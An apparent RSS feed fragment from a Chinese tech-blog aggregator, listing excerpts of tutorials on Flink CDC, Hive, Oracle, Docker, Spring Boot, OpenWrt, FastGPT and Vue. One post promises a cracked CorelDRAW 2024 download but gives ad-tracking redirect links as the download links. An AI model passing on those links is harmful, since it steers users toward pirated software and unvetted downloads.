      <description>文章目录 一、CDC 简介1. 什么是CDC2. CDC的种类3. Flink-CDC 二、Flink CDC 案例实操1. DataStream 方式的应用1.1 导入依赖1.2 编写代码1.3 案例测试 2. FlinkSQL 方式的应用3. 自定义反序列化器 一、CDC 简介 1. 什么是CDC CDC 是 Change Data Capture（变更数据获取）的简称。核心思想是，监测并捕获数据库&#xA;的变动（包括数据或数据表的插入、更新以及删除等），将这些变更按发生的顺序完整记录&#xA;下来，写入到消息中间件中以供其他服务进行订阅及消费。&#xA;2. CDC的种类 CDC 主要分为基于查询和基于 Binlog 两种方式：&#xA;3. Flink-CDC Flink 社区开发了 flink-cdc-connectors 组件（基于Debezium写的），这是一个可以直接从 MySQL、PostgreSQL等数据库直接读取全量数据和增量变更数据的 source 组件。&#xA;目前也已开源，开源地址：https://github.com/ververica/flink-cdc-connectors&#xA;项目中为什么不适用Canal？FlinkCDC的好处在哪？&#xA;如果使用Canal,那么他的数据流程可能是：MySQL —&amp;gt; Canal —&amp;gt; Kafka —&amp;gt;Flink;&#xA;而使用FlinkCDC的话可以是：MySQL —&amp;gt;FlinkCDC —&amp;gt;Flink;&#xA;省去了消息中间件，流程更加高效了（分层需要的话，会在FlinkCDC之后加上Kafka）&#xA;二、Flink CDC 案例实操 1. DataStream 方式的应用 1.1 导入依赖 &amp;lt;properties&amp;gt; &amp;lt;flink-version&amp;gt;1.13.0&amp;lt;/flink-version&amp;gt; &amp;lt;/properties&amp;gt; &amp;lt;dependencies&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.</description>
    </item>
    <item>
      <title>仓库管理系统设计</title>
      <link>https://bchobby.github.io/posts/325addd0262e628ee93ddf7d442ca355/</link>
      <pubDate>Mon, 06 Nov 2023 23:22:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/325addd0262e628ee93ddf7d442ca355/</guid>
      <description>目录&#xA;摘要 Abstract 第一章 概述 1.1仓库管理系统研究背景及意义 1.1.1开发伊犁州移动分公司仓库设备管理系统的目的 1.1.2开发伊犁州移动分公司仓库设备管理系统的技术性意义 1.1.3系统开发具有的优越性 1.2 VB语言的基本特点及VB应用程序的基本特点 1.2.1可视化设计 1.2.2事件驱动编辑 1.2.3实现菜单选项 1.2.4实现工具栏 1.3 Access2000数据库 1.4 VB6和Access的连接 1.4.1 ODBC连接数据库 1.4.2 ADO连接数据库 第二章 系统分析 2.1系统的可行性分析 2.2要求分析 2.3详细资料的收集 第三章 系统设计 3.1系统总体设计 3.1.1系统目标设计 3.1.3系统功能需求分析 3.1.4系统功能模块设计 3.2数据库设计 3.2.1数据库需求分析 3.2.2数据库概念结构设计 3.2.3数据库逻辑结构设计 第四章 系统实现 4.1登陆窗体 4.2系统主窗体设计 4.2.1创建工程项目-伊犁州移动分公司仓库设备管理系统 4.2.2创建主窗体工具栏 4.2.3创建主窗体菜单 4.2.4创建主窗体工具栏 4.2.5设置主窗体状态栏 4.3系统模块 4.3.1基础资料模块 4.3.2仓库管理模块 4.3.3仓库查询模块 4.3.4数据操作模块 4.4系统设置 4.4.1密码修改 4.4.2用户管理 4.5仓库管理系统通用模块代码设置 第五章 系统测试 5.1测试项目 5.1.1用户登录模块测试 5.1.2基础资料模块测试 5.1.3仓库管理模块测试 5.1.4仓库查询模块测试 5.1.5系统设置模块测试 5.2测试结论 结论 致谢语 参考文献 摘要 本文采用面向对象的程序设计方法来分析、设计和实现软件系统，使系统更加稳定、易理解和易修改，因而提高软件开发的效率，降低软件的成本。</description>
    </item>
    <item>
      <title>HIve安装配置（超详细）</title>
      <link>https://bchobby.github.io/posts/1165cb416c304a6a5c103561ef1fc69a/</link>
      <pubDate>Mon, 06 Nov 2023 22:43:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1165cb416c304a6a5c103561ef1fc69a/</guid>
      <description>文章目录 Hive安装配置一、Hive安装地址二、Hive安装部署1. 把 `apache-hive-3.1.2-bin.tar.gz`上传到Linux的/export/software目录下2. 解压`apache-hive-3.1.2-bin.tar.gz`到/export/servers/目录下面3. 修改`apache-hive-3.1.2-bin.tar.gz`的名称为hive4. 修改/etc/profile，添加环境变量5. 初始化元数据库（默认是derby数据库） 三、MySQL安装1. 安装MySQL1）上传MySQL安装包以及MySQL驱动jar包2）解压MySQL安装包3）卸载系统自带的mariadb4）安装MySQL依赖5）安装mysql-client6）安装mysql-server7）启动MySQL8）查看MySQL密码 2. 配置MySQL1）用刚刚查到的密码进入MySQL2）设置复杂密码3）更改MySQL密码策略4）设置简单好记的密码5）进入MySQL库6）查询user表7）修改user表，把Host表内容修改为%8）刷新9）退出 四、配置Hive元数据存储到MySQL1. 配置元数据到MySQL1）新建Hive元数据库2）将MySQL的JDBC驱动拷贝到Hive的lib目录下。3）在$HIVE_HOME/conf目录下新建hive-site.xml文件4）初始化Hive元数据库（修改为采用MySQL存储元数据） 2. 验证元数据是否配置成功1）启动hadoop集群和MySQL服务2）启动Hive3）使用Hive 3. 查看MySQL中的元数据1）登录MySQL2）查看元数据库metastore 五、Hive服务部署1. hiveserver2服务1）用户说明2）`hiveserver2`部署3）测试4）配置DataGrip连接 2. metastore服务1）metastore运行模式2）metastore部署3）测试 3. 编写Hive服务启动脚本1）前台启动的方式导致需要打开多个窗口，可以使用如下方式后台方式启动2）为了方便使用，可以直接编写脚本来管理服务的启动和关闭3）添加执行权限4）启动Hive后台服务 六、其他配置1. 解决hive打印大量INFO日志1）进入到hive安装路径下的conf目录下2）新建`log4j.properties`文件3）重新执行启动hive的命令 2.Hive卸载1）卸载MySQL说明2）卸载Hive 3. 修改Hive运⾏⽇志的存放位置1）创建hivelog4j2.properties2）在 `hive-log4j2.properties` ⽂件中修改 log 存放位置3）⽤hive-script.sh restart重启服务后，查看`$HIVE_HOME/hive/logs`⽬录 4. 打印当前库和表头5. Hive的JVM堆内存设置1）新建hive-env.sh2）修改 hive-env.sh其中的参数 6. 关闭Hadoop虚拟内存检查7.出现这个问题 Hive安装配置 一、Hive安装地址 1）Hive官网地址&#xA;http://hive.apache.org/&#xA;2）文档查看地址&#xA;https://cwiki.apache.org/confluence/display/Hive/GettingStarted&#xA;3）下载地址&#xA;http://archive.apache.org/dist/hive/&#xA;4）github地址&#xA;https://github.com/apache/hive&#xA;二、Hive安装部署 1. 把 apache-hive-3.1.2-bin.tar.gz上传到Linux的/export/software目录下 2. 解压apache-hive-3.1.2-bin.tar.gz到/export/servers/目录下面 tar -zxvf apache-hive-3.1.2-bin.tar.gz -C ../servers/ 3. 修改apache-hive-3.1.2-bin.tar.gz的名称为hive 4. 修改/etc/profile，添加环境变量 vi /etc/profile （1）添加内容&#xA;#HIVE_HOME export HIVE_HOME=/export/servers/hive export PATH=$PATH:$HIVE_HOME/bin （2）source一下</description>
    </item>
    <item>
      <title>Qt对Opengl的支持情况</title>
      <link>https://bchobby.github.io/posts/cab2707d3aa6000b9098673cacaa1199/</link>
      <pubDate>Mon, 06 Nov 2023 22:25:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cab2707d3aa6000b9098673cacaa1199/</guid>
      <description>Qt提供了对OpenGL的广泛支持，这对于开发需要复杂图形处理的机器视觉软件尤为重要。以下是Qt对OpenGL支持的一些关键方面：&#xA;1. 用户界面开发方法: Qt有两种主要的用户界面开发方式：Qt Quick和Qt Widgets。这两种方式都支持与OpenGL图形API的代码结合，分别基于为这两种类型的用户界面优化的独立图形引擎&#xA;2. 硬件加速3D图形: Qt支持与OpenGL实现的集成，使开发者能够在更传统的用户界面旁边显示硬件加速的3D图形。Qt提供的示例展示了在Qt应用程序中利用OpenGL的基本技术。&#xA;3. OpenGL支持类的迁移: 在Qt 5中，为了支持OpenGL这一跨平台图形API——它是Qt图形基础的一部分——向Qt Gui添加了一组替代的OpenGL支持类。在Qt 6中，这些类已经迁移到了Qt OpenGL模块。&#xA;4. OpenGL核心配置文件支持: Qt现在已经扩展了对OpenGL的支持，提供了对OpenGL核心配置文件的访问。使用核心配置文件时，移除了对传统固定功能管线的所有访问。这意味着在屏幕上绘制任何内容都需要使用glsl着色器和顶点数组或缓冲区。&#xA;5. 运行时OpenGL实现选择和加载: Qt支持在运行时选择和加载OpenGL实现。这种模式是默认的，并且可以通过在配置脚本中传递-opengl dynamic来显式请求。这种配置在构建时期没有对OpenGL实现进行硬编码的依赖或假设，因此是最灵活的。&#xA;通过这些支持，Qt能够使开发者充分利用OpenGL的强大功能，为机器视觉软件提供高性能的图形处理能力。&#xA;下面是个Qt OpenGL着色器程序例子。&#xA;创建一个完整的Qt OpenGL着色器程序涉及到几个步骤，包括设置OpenGL环境、编写GLSL着色器代码，以及将这些着色器集成到Qt应用程序中。这里提供了一个简单的例子，展示了如何编写头文件和.cpp文件来实现这一点。&#xA;首先是头文件（MyGLWidget.h）：&#xA;#ifndef MYGLWIDGET_H #define MYGLWIDGET_H #include &amp;lt;QOpenGLWidget&amp;gt; #include &amp;lt;QOpenGLShaderProgram&amp;gt; class MyGLWidget : public QOpenGLWidget { Q_OBJECT public: MyGLWidget(QWidget *parent = nullptr); ~MyGLWidget(); protected: void initializeGL() override; void resizeGL(int w, int h) override; void paintGL() override; private: QOpenGLShaderProgram *m_program; int m_vertexLocation, m_matrixLocation, m_colorLocation; QMatrix4x4 m_projMatrix; }; #endif // MYGLWIDGET_H 接着是.</description>
    </item>
    <item>
      <title>ORACLE：【1】32位Linux系统图形界面安装Oracle</title>
      <link>https://bchobby.github.io/posts/d25285b29218e227112a6263d77b4e9f/</link>
      <pubDate>Mon, 06 Nov 2023 19:30:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d25285b29218e227112a6263d77b4e9f/</guid>
      <description>创建oracle用户与相关用户组及Oracl用户环境变量和安装路径 # 添加组和用户 [root@oracle11g ~]# groupadd oinstall [root@oracle11g ~]# groupadd dba [root@oracle11g ~]# useradd -g oinstall -G dba oracle [root@oracle11g ~]# passwd oracle [root@oracle11g ~]# 设置你的密码 # 查看创建好的oralce用户组 [root@oracle11g ~]# id oracle uid=500(oracle) gid=500(oinstall) groups=500(oinstall),501(dba) [root@oracle11g ~]# # 创建文件夹并修改组和用户所属关系和相关权限(命令格式：chown -R 用户：用户组 文件夹) [root@oracle11g ~]# mkdir -p /opt/oracle [root@oracle11g ~]# chown -R oracle:oinstall /opt/oracle(使得/opt/oracle文件夹输入oracle用户和oinstall组) [root@oracle11g ~]# chmod -R 775 /opt/oracle(修改u01文件夹访问权限)—可选（最好执行下） # 添加/etc/hosts中dns解析信息 192.168.1.102 oracle11g # 配置oracle用户环境变量： [root@oracle11g ~]# su - oracle [oracle@oracle11g ~]$ vi .</description>
    </item>
    <item>
      <title>docker</title>
      <link>https://bchobby.github.io/posts/05b6053c41a2130afd6fc3b158bda4e6/</link>
      <pubDate>Mon, 06 Nov 2023 17:05:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/05b6053c41a2130afd6fc3b158bda4e6/</guid>
      <description>docker 生命周期&#xA;快速实践，使用docker，来切换不同的发行版本，内核使用的都是宿主机的内核&#xA;#利用docker获取不同的发行版本镜像 [root@master ~]# cat /etc/redhat-release CentOS Linux release 7.9.2009 (Core) [root@master ~]# uname -r 3.10.0-1160.71.1.el7.x86_64 root@master ~]# docker pull centos:7.8.2003 [root@master ~]# docker pull ubuntu #确认当前宿主机发行版本 [root@master ~]# cat /etc/redhat-release CentOS Linux release 7.9.2009 (Core) #运行centos7.8.2003发行版 运行centos7.8.2093发行版 #运行容器，且进入容器内 # 参数 解释 -i 交互式命令操作 -t 开启一个终端afb6fca791e 是镜像的id bash 进入容器后，执行的命令 [root@master ~]# docker run -it afb6fca791e0 bash #查看容器内的发行版本 [root@c680f55253e4 /]# cat /etc/redhat-release CentOS Linux release 7.8.2003 (Core) [root@master ~]# docker run -it ba6acccedd29 bash root@7d2e5947b269:/# #查看容器的发行版本</description>
    </item>
    <item>
      <title>spring boot默认单线程如何破解?</title>
      <link>https://bchobby.github.io/posts/45d2252e532a9b1623a4ea7ec734fb34/</link>
      <pubDate>Mon, 06 Nov 2023 16:31:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/45d2252e532a9b1623a4ea7ec734fb34/</guid>
      <description>spring boot默认是单线程的，当有多个定时需要跑的时候，他会等到上一个定时跑完再跑下一个定时，而下一个定时一直处于等待状态，若定时很多的话，严重会引起雪崩。。。&#xA;由上面可以看到我有两个定时，但是用的是一个线程。&#xA;方法一：添加@Async注解后发现不再是同一个线程，而是使用多个线程了。&#xA;因为这个@Async注解，就相当于new Thread().start(); 所以可以看到现在是两个线程在跑。&#xA;方法二：写一个ThreadPoolTaskScheduler注入到容器，则定时任务默认就用的这个定时多线程&#xA;@Bean public ThreadPoolTaskScheduler getThreadPoolTaskScheduler(){ // 设置线程数 ThreadPoolTaskScheduler scheduler = new ThreadPoolTaskScheduler(); //最大线程数 scheduler.setPoolSize(50); return scheduler; } 由此可以看出 也是开了两个线程在跑。&#xA;方法三：写一个普通的多线程bean,在每个线程上使用@Async注解&#xA;//bean的名称，默认是首字母小写的方法名 @Bean(&#34;threadPoolTaskExecutor&#34;) public ThreadPoolTaskExecutor getThreadPoolTaskExecutor(){ // 设置线程数 ThreadPoolTaskExecutor taskExecutor = new ThreadPoolTaskExecutor(); //核心线程数 taskExecutor.setCorePoolSize(25); //最大线程数 taskExecutor.setMaxPoolSize(50); //阻塞队列 taskExecutor.setQueueCapacity(100); //初始化线程 taskExecutor.initialize(); return taskExecutor; } 因为@Async异步方法默认使用Spring创建ThreadPoolTaskExecutor。默认核心线程数：8，最大线程数：Integer.MAX_VALUE，队列使用LinkedBlockingQueue，容量是：Integer.MAX_VALUE，空闲线程保留时间：60s，线程池拒绝策略：AbortPolicy。&#xA;由此也可看出，使用的也是两个线程！&#xA;自定义线程&#xA;//线程池最好是自定义，因为性能等信息可以由开发者自己控制，不然默认使用SimpleAsyncTaskExecutor @Bean public Executor getExecutor(){ // 设置线程数 ThreadPoolTaskExecutor threadPoolTaskExecutor = new ThreadPoolTaskExecutor(); //最大线程数 threadPoolTaskExecutor.setMaxPoolSize(20); //核心线程池大小 threadPoolTaskExecutor.setCorePoolSize(10); //队列容量 threadPoolTaskExecutor.</description>
    </item>
    <item>
      <title>Esxi安装OpenWrt</title>
      <link>https://bchobby.github.io/posts/4af16b7caf6de1a9646560a016bca72f/</link>
      <pubDate>Mon, 06 Nov 2023 16:16:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4af16b7caf6de1a9646560a016bca72f/</guid>
      <description> 最近折腾下软路由主要就是实现局域网内的上网。&#xA;1.StarWind V2V Converter下载 先去下载个StarWind V2V Converter，觉得麻烦我在网上有找到一个博主的地址点击这里。&#xA;这是官网地址传送门，然后一阵乱输入点击下载&#xA;然后&#xA;双击之后无脑下一步即可。&#xA;2.OpenWrt镜像 直接去官网&#xA;我这里的话是走了个野路子，有人有编译好的，我把连接也放在这里集成版。&#xA;3.镜像格式转换 基本照着我的图片下一步就好，细心点&#xA;4.设置Esxi 第四步操作为非必要操作，仅影响流量上限，一般家用场景不会跑满，所以可以不操作。这步没操作的情况下，5.3就不需要配置pci。这里注意如果你做了网卡直通并配置了pci估计得在实体机插个网线，要不然就访问不了openwrt管理端了，后面设置ip会无效。&#xA;4.1添加虚拟交换机 先查看网络-物理网卡有几张，就添加几个虚拟交换机。&#xA;0默认就是esxi用的就把安全改成全部接受，别去改别的，要不然登陆不了后台。&#xA;4.2添加端口组 点进去可以看到，默认只有名为VM Network和Management Network两个端口，这两个端口都绑定了虚拟交换机vSwitch0。我们需要为剩下的虚拟交换机分别创建各自的端口。&#xA;就改标注的这两个，其他别去动。&#xA;### 4.3网卡直通&#xA;网卡直通一般是指在虚拟平台下，把某个网卡独立出来指定某一个宿主机系统使用。因为在虚拟机上就算只有一张网卡，但是会随着虚拟机的数量裂变多张虚拟网卡。&#xA;通过筛选器选择支持直通，然后找到Gigabit Ethernet字样的都是网卡（注意第一张别去直通），直接左上角切换直通即可，ESXI7.0及以上版本就不用重启了。&#xA;这里踩了一个坑，检查下高级设置里的ACScheck，如果是false所以改成true，每次设置完过一会又还原了。&#xA;5.创建openWRT虚拟机 这个前面步骤比较简单，我只截图几个关键的。&#xA;自定义设置里分4步走：&#xA;5.1删除硬盘、CD/DVD两项 5.2内存配置 内存配置：2G，勾选【预留所有客户机内存（全部锁定）】&#xA;5.3 添加PCI设备 网口配置：【添加其他设备】-【PCI设备】，把刚刚直通的设备添加即可&#xA;5.4硬盘配置 硬盘配置：【添加硬盘】-【现有硬盘】，这个简单创建个目录，把刚刚那两个vmdk丢上去，这里注意上传了两个文件只会显示其中一个不用在意，选中它就好。&#xA;5.5最后下一页点击完成就好。 6.启动并修改ip 这个启动需要点时间，等他启动完我没得配置下ip，毕竟每个人的网段不同。配置完成后直接reboot重启（我这边感觉他响应比较慢，实际已经在重启了但是过很久才显示），至此就配置完成。直接访问即可，默认密码password&#xA;7.管理端配置 7.1配置lan口 网络 - 接口 - LAN - 修改，将网关、DNS 服务器都指向主路由的地址&#xA;停用ipv6，最后点击右下角保存并应用&#xA;7.2检查网络 </description>
    </item>
    <item>
      <title>FastGPT | 3分钟构建属于自己的AI智能助手</title>
      <link>https://bchobby.github.io/posts/31c39b7838bd0dbfcef2b83a6f0b71b3/</link>
      <pubDate>Mon, 06 Nov 2023 16:15:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/31c39b7838bd0dbfcef2b83a6f0b71b3/</guid>
      <description>这是一篇使用指南！！！&#xA;FastGPT是什么？ FastGPT 是一个基于 LLM 大语言模型的知识库问答系统，提供开箱即用的数据处理、模型调用等能力。同时可以通过 Flow 可视化进行工作流编排，从而实现复杂的问答场景！&#xA;fastgpt其实就是使用了chatgpt的api（或者其他的大模型），构建自己的AI知识库&#xA;chatgpt是没办法获取到你自己的信息的&#xA;如果你想部署属于自己的gpt，或者是公司内部使用的&#xA;你可以选择fastgpt&#xA;适用人群：&#xA;chatgpt爱好者 chatgpt深度使用者 想要构建自己的AI知识库 想要给其他人提供gpt服务 公司/组织 私有化 功能介绍 目前我觉得比较好用的3个功能&#xA;构建自己的知识库 通过导入文档或已有问答对进行训练，让 AI 模型能根据你的文档以交互式对话方式回答问题。 数据预处理 提供手动输入、直接分段、LLM 自动处理和 CSV 等多种数据导入途径，其中“直接分段”支持通过 PDF、WORD、Markdown 和 CSV 文档内容作为上下文。FastGPT 会自动对文本数据进行预处理、向量化和 QA 分割，节省手动训练时间，提升效能。 高级编排 基于 Flow 模块的工作流编排，可以帮助你设计更加复杂的问答流程。例如查询数据库、查询库存、预约实验室等&#xA;不过这个功能比较复杂，需要一定的学习成本&#xA;在线使用 🌐 国内版：ai.fastgpt.in 🌍 海外版：fastgpt.run 环境需要 系统：windows or linux docker环境 chatgpt账号，并有api 项目仓库地址 https://github.com/labring/FastGPT&#xA;安装指南 安装指引 获取API keys 在sealos上搭建nginx 安装fastgpt 获取API keys 这个很简单&#xA;打开网址：https://platform.openai.com/account/api-keys&#xA;登录你的gpt账号 （你得会魔法）&#xA;创建一个keys即可&#xA;搭建nginx 这里是在sealos上搭建的nginx，因为sealos是国外服务器，可以直接代理openai</description>
    </item>
    <item>
      <title>万能的JSON解析方法，获取指定字段值</title>
      <link>https://bchobby.github.io/posts/7c393b3c58b576fd7ffeffe71e6058be/</link>
      <pubDate>Mon, 06 Nov 2023 15:50:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7c393b3c58b576fd7ffeffe71e6058be/</guid>
      <description>直接上代码：&#xA;import com.alibaba.fastjson2.JSON; import com.alibaba.fastjson2.JSONArray; import com.alibaba.fastjson2.JSONObject; private String handleJsonResponse(String response,String field) { if(StringUtils.isBlank(field)){ return response; } JSONObject jsonObject = JSON.parseObject(response); return getFieldValue(jsonObject,field); } public String getFieldValue(JSONObject jsonObject, String fieldName) { for (String key : jsonObject.keySet()) { Object value = jsonObject.get(key); if (key.equals(fieldName)) { return value.toString(); } else if (value instanceof JSONObject) { String fieldValue = getFieldValue((JSONObject) value, fieldName); if (fieldValue != null) { return fieldValue; } } else if (value instanceof JSONArray) { JSONArray jsonArray = (JSONArray) value; String fieldValue = getFieldValue(jsonArray, fieldName); if (fieldValue !</description>
    </item>
    <item>
      <title>万能的XML解析方法，获取指定字段值</title>
      <link>https://bchobby.github.io/posts/ba45663c1c4261747c227262c308ad39/</link>
      <pubDate>Mon, 06 Nov 2023 15:49:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ba45663c1c4261747c227262c308ad39/</guid>
      <description>上代码：&#xA;import org.dom4j.Document; import org.dom4j.DocumentException; import org.dom4j.Element; import org.dom4j.io.SAXReader; public String handleXmlResponse(String response,String field) { if(StringUtils.isBlank(field)){ return response; } SAXReader reader = new SAXReader(); try { Document document = reader.read(new StringReader(response)); Element root = document.getRootElement(); return getFieldValue(root, field); } catch (DocumentException e) { e.printStackTrace(); } return null; } public String getFieldValue(Element element, String fieldName) { for (Iterator&amp;lt;Element&amp;gt; it = element.elementIterator(); it.hasNext();) { Element child = it.next(); if (child.getName().equals(fieldName)) { return child.</description>
    </item>
    <item>
      <title>easypoi根据传入数据动态导出excel</title>
      <link>https://bchobby.github.io/posts/87ccbed2aa27b15809480b610005608c/</link>
      <pubDate>Mon, 06 Nov 2023 13:33:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/87ccbed2aa27b15809480b610005608c/</guid>
      <description>需求：详情界面有一百个字段，可能只需要导出部分选择的字段&#xA;/** * @Description 导出结计算信息 **/ public void exportTaskCloseoutInfo(HttpServletResponse response, String taskId, List&amp;lt;DynamicTablePo&amp;gt; dynamicTablePoList) { if (StringUtils.isEmpty(taskId) || CollectionUtils.isEmpty(dynamicTablePoList)) return; CloseoutVo closeoutVo = new CloseoutVo(); CopyOptions options = CopyOptions.create() .setIgnoreNullValue(true) // 忽略源对象属性为空的情况 .setIgnoreError(true); // 忽略复制过程中出现的错误 OcYunTuTaskCloseoutReach reachInfo = getReachInfo(taskId); BeanUtil.copyProperties(reachInfo, closeoutVo, options); List&amp;lt;CloseoutVo&amp;gt; closeoutVoList = new ArrayList&amp;lt;&amp;gt;(); closeoutVoList.add(closeoutVo); List&amp;lt;ExcelExportEntity&amp;gt; beanList = new ArrayList&amp;lt;ExcelExportEntity&amp;gt;(dynamicTablePoList.size()); for (DynamicTablePo tablePo : dynamicTablePoList) { ExcelExportEntity entity = new ExcelExportEntity(); entity.setName(tablePo.getFiledShowName()); entity.setKey(tablePo.getFiledCode()); entity.setWidth(15);//设置宽度 entity.setHeight(30);//设置高度 entity.setWrap(true);//支持换行 beanList.</description>
    </item>
    <item>
      <title>CDR2024破解版网盘下载</title>
      <link>https://bchobby.github.io/posts/5743600bbe5ca1d4cf03c0ef2051e146/</link>
      <pubDate>Mon, 06 Nov 2023 11:21:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5743600bbe5ca1d4cf03c0ef2051e146/</guid>
      <description>cdr是CorelDRAW的简称，一款专注排版和矢量图形编辑的平面设计软件。这款软件的设计界面精微细致、简洁易懂。功能尤其强大，图标设计，印刷排版，服装设计等都可以胜任。还有多种模板使得设计相当的轻松，今天简单介绍一下用cdr做服装设计的方法。&#xA;CorelDRAW最新版win下载如下:&#xA;https://wm.makeding.com/iclk/?zoneid=55678&#xA;CorelDRAW最新版mac下载如下:&#xA;https://wm.makeding.com/iclk/?zoneid=55679&#xA;1、今天教大家绘制如图所示的简单背心。我们新建一个空白文档并命名为背心&#xA;图1：背心设计图&#xA;2、建立参考线。从左边的标尺拉出一个参考线，并双击它，会出现添加辅助线的工具框，鼠标移动到刚开始随意拉出来的参考线上，点击右键删除，依次添加30、53、105、158、181mm的垂直参考线，46、64、192、233、250mm的水平参考线。&#xA;图2：建立参考线&#xA;3、绘制半边衣服图案。单机右上角贴齐辅助线，然后使用钢笔工具绘制出如下图案，绘制时可进行细微调整。然后框住全部CTRL+G群组一下。&#xA;图3：绘制衣服&#xA;4、绘制完全衣服图案。复制半边图案，然后按住CTRL键，鼠标点中左边中点直接向右拉，就形成了一个镜像的效果，如图所示。&#xA;图4：镜像&#xA;5、细微调整。选中全部线条，按F12键，调出轮廓笔工具，将折角改成圆弧的。&#xA;图5：轮廓调整&#xA;6、绘制单个拉链。绘制一个胶囊图形，调整到合适的大小，ctrl+c复制，然后ctrl+d，右上角出现一个同样的形状，将这个形状向原始图形的垂直下方移动一定的距离。&#xA;图6：绘制单个拉链&#xA;7、将拉链绘制完成。快捷键CTRL+d重复上一步操作，快速复制出一条拉链。&#xA;图7：绘制拉链&#xA;8、拉链对齐。有时候发现复制的一长条发现并没有对齐，这时选中全部圆角矩形，找到对齐工具，整体向右对齐，拉链便绘制完成。&#xA;图8：对齐&#xA;CDR2020：www.coreldrawchina.com/cdr2020.html&#xA;以上就是用cdr绘制的背心造型，当然也可以做得更复杂一些，比如加个插手口袋，加个领带，甚至做出很多女性喜欢的花边都是完全可以的。</description>
    </item>
    <item>
      <title>【JavaEE】yapi平台搭建步骤详解</title>
      <link>https://bchobby.github.io/posts/5526647f1e26d877b9bc778d0137d2cb/</link>
      <pubDate>Mon, 06 Nov 2023 10:44:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5526647f1e26d877b9bc778d0137d2cb/</guid>
      <description>数据库 创建数据卷&#xA;docker volume create mongo-data 启动 MongoDB&#xA;docker run -d \ --name mongo-yapi \ -v mongo-data:/data/db \ -e MONGO_INITDB_ROOT_USERNAME=root \ -e MONGO_INITDB_ROOT_PASSWORD=berry.com \ mongo yapi 拉取镜像&#xA;docker pull registry.cn-hangzhou.aliyuncs.com/anoyi/yapi # 执行 docker images 看一下是否有以下这条记录 registry.cn-hangzhou.aliyuncs.com/anoyi/yapi latest 41ae1c6876cf 2 years ago 167MB 配置一个外部的配置文件config.json&#xA;存放路径自己根据适合的位置放就可以，或者也可以用讲解的路径直接存放&#xA;#创建 /data/yapi文件夹 mkdir -p /data/yapi #在文件夹下创建一个config.json touch /data/yapi/config.json config.json的内容如下&#xA;{ &#34;port&#34;: &#34;3000&#34;, &#34;adminAccount&#34;: &#34;admin@berry.com&#34;, &#34;timeout&#34;:120000, &#34;db&#34;: { &#34;servername&#34;: &#34;mongo&#34;, &#34;DATABASE&#34;: &#34;yapi&#34;, &#34;port&#34;: 27017, &#34;user&#34;: &#34;root&#34;, &#34;</description>
    </item>
    <item>
      <title>求解线性规划和非线性规划方程的python模板求解</title>
      <link>https://bchobby.github.io/posts/b3437ed98bb1eb2ff9bfacf3018beaef/</link>
      <pubDate>Sun, 05 Nov 2023 22:47:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b3437ed98bb1eb2ff9bfacf3018beaef/</guid>
      <description>from scipy.optimize import minimize # 定义目标函数 def objective(x): x1, x2= x return -2*x1-6*x2+x1**2-2*x1*x2+2*x2**2 # 定义不等式约束 #这里以大于等于的形式表示，如果是小于等于的方程，两边同时乘以负号&#xA;def constraint1(x): x1, x2= x return -x1-x2+2 def constraint2(x): x1, x2 = x return x1-2*x2+2 #猜测初始值&#xA;x0=(0,0)&#xA;# 定义约束条件&#xA;cons = ({&#39;type&#39;: &#39;ineq&#39;, &#39;fun&#39;: constraint1},&#xA;{&#39;type&#39;: &#39;ineq&#39;, &#39;fun&#39;: constraint2})&#xA;# 定义未知数的边界，使其大于等于0&#xA;bounds = ((0, None), (0, None))&#xA;# 求解优化问题&#xA;result = minimize(objective, x0,constraints=cons, bounds=bounds)&#xA;# 打印结果&#xA;print(&#34;最优解: &#34;, result.x)&#xA;print(&#34;最优值: &#34;, result.fun)</description>
    </item>
    <item>
      <title>『精』Vue 组件如何模块化抽离Props</title>
      <link>https://bchobby.github.io/posts/39032cd256068f18aa6023df5915cf01/</link>
      <pubDate>Sun, 05 Nov 2023 22:30:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/39032cd256068f18aa6023df5915cf01/</guid>
      <description>『精』Vue 组件如何模块化抽离Props 文章目录 『精』Vue 组件如何模块化抽离Props一、为什么要抽离Props二、选项式API方式抽离三、组合式API方式抽离3.1 TypeScript类型方式3.2 文件分离方式3.3 对文件分离方式优化 参考资料💘推荐博文🍗 一、为什么要抽离Props 在前端框架中封装一个组件是非常常见的，对于组件来讲，往往离不开组件之间属性的传递，通过属性能够控制组件的样式内容、处理逻辑类型、数据传递。假如有这么一个用于签名的组件，能够控制画笔的大小、颜色、画布背景颜色宽高、按钮的文案提示等，那么它的属性必定是有十几个选项，假设 800 行代码里可能就得花费 100 行去声明这些属性，这明显是不合适的。&#xA;这也是我为什么提议要抽离组件 Props 的原因，实际上这个签名组件也确实存在，源自于我在 Uniapp 插件市场上的一个提交。&#xA;抽离Props的好处有这么几点：&#xA;降低、隔离组件的复杂度，降低维护成本与提高程序可靠率。引入一个中间的、易于理解的抽象概览。隐藏非核心处理部分的实现细节，提高组件源码的可阅读性。促进代码的重用，包装一定的结构风范。属性的抽离，有助于自动化程序生成对应文档。 那么要怎么做才能抽离出 Props 呢，在 Vue 身上根据选项式 API 和组合式 API 写法的不同，做法也不一样。&#xA;一些简单的组件可能只有一两个属性，甚至是没有属性，对于这种情况下，可能不抽离 Props 会显得更方便一些，但一定要注意的是应当把组件以后要做的和其扩展维护性放在一起考虑，往往十几个属性堆叠的组件都是从一两个属性的组件开始的，既然以后会越加越多，那为何不提早抽离处理方便以后再加呢，当然具体怎么做取决于自己。&#xA;二、选项式API方式抽离 选项式 API 适用于 Vue2 和 Vue3，需要使用到 Mixins 混合方法。Mixins 不只是能抽离 Props，它能做到更多，我相信大部分对这个功能会比较熟悉，有兴趣的可以参考此文档 Mixins。&#xA;import type { PropType } from &#34;vue&#34;; export default { props: { prop1: { type: String, required: true }, prop2: { type: Array as 